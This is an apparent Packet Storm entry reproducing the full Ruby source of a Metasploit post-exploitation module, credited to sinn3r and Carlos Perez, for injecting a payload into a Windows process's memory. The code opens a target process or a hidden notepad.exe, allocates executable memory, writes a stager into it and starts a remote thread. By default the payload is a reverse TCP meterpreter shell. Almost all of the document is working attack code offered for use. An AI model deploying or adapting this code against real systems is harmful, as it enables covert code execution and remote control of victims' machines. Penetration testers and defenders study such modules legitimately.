Windows Manage Memory Payload Injection

2013-01-24T00:00:00
ID PACKETSTORM:119810
Type packetstorm
Reporter sinn3r
Modified 2013-01-24T00:00:00

Description

                                        
                                            `##  
# ## This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
require 'rex'  
require 'msf/core/exploit/exe'  
  
class Metasploit3 < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
def initialize(info={})  
super( update_info( info,  
'Name' => 'Windows Manage Memory Payload Injection',  
'Description' => %q{  
This module will inject a payload into memory of a process. If a payload  
isn't selected, then it'll default to a reverse x86 TCP meterpreter. If the PID  
datastore option isn't specified, then it'll inject into notepad.exe instead.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Carlos Perez <carlos_perez[at]darkoperator.com>',  
'sinn3r'  
],  
'Platform' => [ 'win' ],  
'SessionTypes' => [ 'meterpreter' ],  
'Targets' => [ [ 'Windows', {} ] ],  
'DefaultTarget' => 0,  
'DisclosureDate'=> "Oct 12 2011"  
))  
  
register_options(  
[  
OptInt.new('PID', [false, 'Process Identifier to inject of process to inject payload.']),  
OptBool.new('NEWPROCESS', [false, 'New notepad.exe to inject to', false])  
], self.class)  
end  
  
# Run Method for when run command is issued  
def exploit  
@payload_name = datastore['PAYLOAD']  
@payload_arch = framework.payloads.create(@payload_name).arch  
  
# syinfo is only on meterpreter sessions  
print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?  
  
pid = get_pid  
if not pid  
print_error("Unable to get a proper PID")  
return  
end  
  
if @payload_arch.first =~ /64/ and client.platform =~ /x86/  
print_error("You are trying to inject to a x64 process from a x86 version of Meterpreter.")  
print_error("Migrate to an x64 process and try again.")  
return false  
else  
inject_into_pid(pid)  
end  
end  
  
# Figures out which PID to inject to  
def get_pid  
pid = datastore['PID']  
if pid == 0 or datastore['NEWPROCESS'] or not has_pid?(pid)  
print_status("Launching notepad.exe...")  
pid = create_temp_proc  
end  
  
return pid  
end  
  
  
# Determines if a PID actually exists  
def has_pid?(pid)  
procs = []  
begin  
procs = client.sys.process.processes  
rescue Rex::Post::Meterpreter::RequestError  
print_error("Unable to enumerate processes")  
return false  
end  
  
pids = []  
  
procs.each do |p|  
found_pid = p['pid']   
return true if found_pid == pid  
end  
  
print_error("PID #{pid.to_s} does not actually exist.")  
  
return false  
end  
  
# Checks the Architeture of a Payload and PID are compatible  
# Returns true if they are false if they are not  
def arch_check(pid)  
# get the pid arch  
client.sys.process.processes.each do |p|  
# Check Payload Arch  
if pid == p["pid"]  
vprint_status("Process found checking Architecture")  
if @payload_arch.first == p['arch']  
vprint_good("Process is the same architecture as the payload")  
return true  
else  
print_error("The PID #{ p['arch']} and Payload #{@payload_arch.first} architectures are different.")  
return false  
end  
end  
end  
end  
  
# Creates a temp notepad.exe to inject payload in to given the payload  
# Returns process PID  
def create_temp_proc()  
windir = client.fs.file.expand_path("%windir%")  
# Select path of executable to run depending the architecture  
if @payload_arch.first== "x86" and client.platform =~ /x86/  
cmd = "#{windir}\\System32\\notepad.exe"  
elsif @payload_arch.first == "x86_64" and client.platform =~ /x64/  
cmd = "#{windir}\\System32\\notepad.exe"  
elsif @payload_arch.first == "x86_64" and client.platform =~ /x86/  
cmd = "#{windir}\\Sysnative\\notepad.exe"  
elsif @payload_arch.first == "x86" and client.platform =~ /x64/  
cmd = "#{windir}\\SysWOW64\\notepad.exe"  
end  
  
begin  
proc = client.sys.process.execute(cmd, nil, {'Hidden' => true })  
rescue Rex::Post::Meterpreter::RequestError  
return nil  
end  
  
return proc.pid  
end  
  
def inject_into_pid(pid)  
vprint_status("Performing Architecture Check")  
return if not arch_check(pid)  
  
begin  
print_status("Preparing '#{@payload_name}' for PID #{pid}")  
raw = payload.generate  
  
print_status("Opening process #{pid.to_s}")  
host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)  
if not host_process  
print_error("Unable to open #{pid.to_s}")  
return  
end  
  
print_status("Allocating memory in procees #{pid}")  
mem = host_process.memory.allocate(raw.length + (raw.length % 1024))  
  
# Ensure memory is set for execution  
host_process.memory.protect(mem)  
  
print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager")  
print_status("Writing the stager into memory...")  
host_process.memory.write(mem, raw)  
host_process.thread.create(mem, 0)  
print_good("Successfully injected payload in to process: #{pid}")  
  
rescue Rex::Post::Meterpreter::RequestError => e  
print_error("Unable to inject payload:")  
print_line(e.to_s)  
end  
end  
  
end`